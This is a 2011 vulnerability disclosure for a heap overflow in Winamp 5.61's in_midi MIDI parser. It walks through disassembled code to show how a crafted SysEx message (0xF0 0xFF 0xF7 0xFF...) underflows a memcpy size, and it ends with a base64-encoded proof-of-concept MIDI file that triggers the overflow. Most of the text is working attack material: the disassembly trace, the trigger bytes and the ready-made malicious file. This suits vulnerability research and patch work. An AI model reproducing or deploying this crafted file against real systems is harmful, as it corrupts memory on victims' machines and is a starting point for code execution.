Winamp version 5.61 suffers from an in_midi component heap overflow vulnerability. Crash proof of concept included.
4e587b2065afe9000d5eadcffc9ee680db5536ffe5b1558ebc5d6f888035f8f8
# Exploit Title: Winamp 'in_midi' component heap overflow
# Date: 05/14/2011
# Author: Alexander Gavrun (http://0x1byte.blogspot.com/)
# Software Link: http://www.winamp.com/
# Version: 5.61
# Tested on: Windows 7
Vulnerability occur while parsing midi file with special crafted System Exclusive message type (event).
System exclusive message type, according with midi specification (http://www.gweep.net/~prefect/eng/reference/protocol/midispec.html), begins with 0xF0 and ends with 0xF7 byte (after the data bytes). Processing of this message type begins in sub_766410F function (dissasembled in_midi.dll of winamp v.5.61).
; .....
.text:0766414D loc_766414D: ; CODE XREF: sub_766410F+36 j
.text:0766414D add ebx, eax
.text:0766414F lea esi, [ebx+edi]
.text:07664152 mov al, [esi] ; esi points to message begin
.text:07664154 mov [ebp+var_C], ebx
.text:07664157 cmp al, 0FFh ; is first byte equal to 0xFF?
.text:07664159 jnz loc_7664328
; .....
.text:07664328 loc_7664328: ; CODE XREF: sub_766410F+4A j
.text:07664328 mov edx, 0F0h
.text:0766432D mov cl, al
.text:0766432F and cl, dl
.text:07664331 cmp cl, dl
.text:07664333 jnz short loc_7664398
.text:07664335 cmp al, dl
.text:07664337 jnz short loc_766438E ; is first byte equal 0xF0 (is SysEx message type?)?
.text:07664339 mov eax, [ebp+arg_8]
.text:0766433C mov edi, [ebp+var_8]
.text:0766433F sub eax, ebx
.text:07664341 push eax
.text:07664342 mov ecx, esi
.text:07664344 mov [ebp+var_10], edi
.text:07664347 call sub_766D702
.text:0766434C pop ecx
.text:0766434D mov ecx, [ebp+arg_10]
.text:07664350 add edi, ecx
.text:07664352 push edi
.text:07664353 push eax ; SysEx message size, calculated by sub_766D702
.text:07664354 push esi
.text:07664355 mov esi, [ebp+arg_0]
.text:07664358 mov edi, [esi+30h]
.text:0766435B mov [ebp+var_24], eax
.text:0766435E call sub_766D894
sub_766D702 function search for 0xF7 byte and count a size of SysEx message. Searching starts from 3rd byte and it means that minimal value, which function might return is 3.
; .....
.text:0766D702 sub_766D702 proc near
.text:0766D702 push ebp
.text:0766D703 mov ebp, esp
.text:0766D705 xor eax, eax
.text:0766D707 inc eax ; eax = 1
.text:0766D708 cmp [ebp+arg_0], eax ; arg_0 - MTrk chunk size (readed from midi file)
.text:0766D70B jle short loc_766D719 ; jump is not taken
.text:0766D70D
.text:0766D70D loc_766D70D: ; CODE XREF: sub_766D702+15 j
.text:0766D70D inc eax ; eax = 2
.text:0766D70E cmp byte ptr [eax+ecx], 0F7h ; check for 0xF7 byte
.text:0766D712 jz short loc_766D731
.text:0766D714 cmp eax, [ebp+arg_0]
.text:0766D717 jl short loc_766D70D
; .....
.text:0766D731 loc_766D731: ; CODE XREF: sub_766D702+10 j
.text:0766D731 inc eax ; eax = 3 (minimal value that this function might return)
.text:0766D732 pop ebp
.text:0766D733 retn
; .....
In sub_766D894 check the size of early allocated buffer and reallocate it, if necessary. Then to this buffer copy data of the SysEx message with size obtained by subtraction of offset (to data begin) from SysEx message size.
.text:0766D894 sub_766D894 proc near ; CODE XREF: sub_766410F+24F p
.text:0766D894
; .....
.text:0766D8DC loc_766D8DC: ; CODE XREF: sub_766D894+29 j
.text:0766D8DC mov eax, [edi]
.text:0766D8DE push ebx
.text:0766D8DF mov ebx, [edi+14h]
.text:0766D8E2 add ebx, [ebp+arg_4]
.text:0766D8E5 cmp ebx, eax ; ebx - SysEx massage size, eax - allocated earlier buffer size
.text:0766D8E7 jb short loc_766D900 ; jump is taken (to trigger vuln. SysEx message size must be small).
; .....
.text:0766D900 loc_766D900: ; CODE XREF: sub_766D894+53 j
.text:0766D900 mov eax, [edi+14h]
.text:0766D903 mov ecx, [edi+0Ch]
.text:0766D906 mov byte ptr [eax+ecx], 0F0h
.text:0766D90A mov eax, [ebp+arg_0]
.text:0766D90D inc eax
.text:0766D90E push 0FFFFFFFFh
.text:0766D910 push eax ; eax - pointer to start of SysEx message plus one
.text:0766D911 lea esi, [ebp+var_4]
.text:0766D914 call sub_766D734
; .....
sub_766D734 function calculates offset to data begins by passing all negative values follow by first byte (0xF0).
.text:0766D734 sub_766D734 proc near
; .....
.text:0766D734 xor eax, eax
.text:0766D736 xor ecx, ecx
.text:0766D738 push edi
.text:0766D739
.text:0766D739 loc_766D739: ; CODE XREF: sub_766D734+20 j
.text:0766D739 cmp eax, [esp+4+arg_4] ; arg_4 = 0xFFFFFFFF, eax = 0
.text:0766D73D jnb short loc_766D75A ; jump is not taken
.text:0766D73F mov edx, [esp+4+arg_0]
.text:0766D743 mov dl, [eax+edx] ; store byte to dl
.text:0766D746 movzx edi, dl
.text:0766D749 and edi, 7Fh
.text:0766D74C shl ecx, 7
.text:0766D74F inc eax ; counter
.text:0766D750 or ecx, edi
.text:0766D752 test dl, dl
.text:0766D754 js short loc_766D739 ; is stored byte less zero?
.text:0766D756 mov [esi], ecx
.text:0766D758 pop edi
.text:0766D759 retn
.text:0766D75A ; ---------------------------------------------------------------------------
.text:0766D75A
.text:0766D75A loc_766D75A: ; CODE XREF: sub_766D734+9 j
.text:0766D75A and dword ptr [esi], 0
.text:0766D75D pop edi
.text:0766D75E retn
.text:0766D75E sub_766D734 endp
Then value, obtained as [SysEx message size] - [offset to data begin] - 1, passed as a Size argument to memcpy function.
; .....
.text:0766D919 mov esi, [ebp+arg_4]
.text:0766D91C sub esi, eax
.text:0766D91E lea ecx, [esi-1] ; ecx = size - offset - 1
.text:0766D921 push ecx ; Size
.text:0766D922 mov ecx, [ebp+arg_0]
.text:0766D925 mov [ebp+var_4], eax
.text:0766D928 lea eax, [eax+ecx+1]
.text:0766D92C mov ecx, [edi+0Ch]
.text:0766D92F push eax ; Src
.text:0766D930 mov eax, [edi+14h]
.text:0766D933 lea eax, [eax+ecx+1]
.text:0766D937 push eax ; Dst
.text:0766D938 call memcpy
Since 0xF7 less than zero, we can construct SysEx message so that offset will be greater (or equal) than size.
For an example, the following sequence
0xF0 0xFF 0xF7 0xFF 0xFF ...[data]
size = 3 and offset = 4
ecx = 3 - 4 - 1 = 0xFFFFFFFE - very big positive value. After all heap overflow will be occur.
POC file (MIME encoded):
poc.mid begin
TVRoZAAAAAYAAQAQAeBNVHJrAAAAIgDw//f///////9VVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVQ==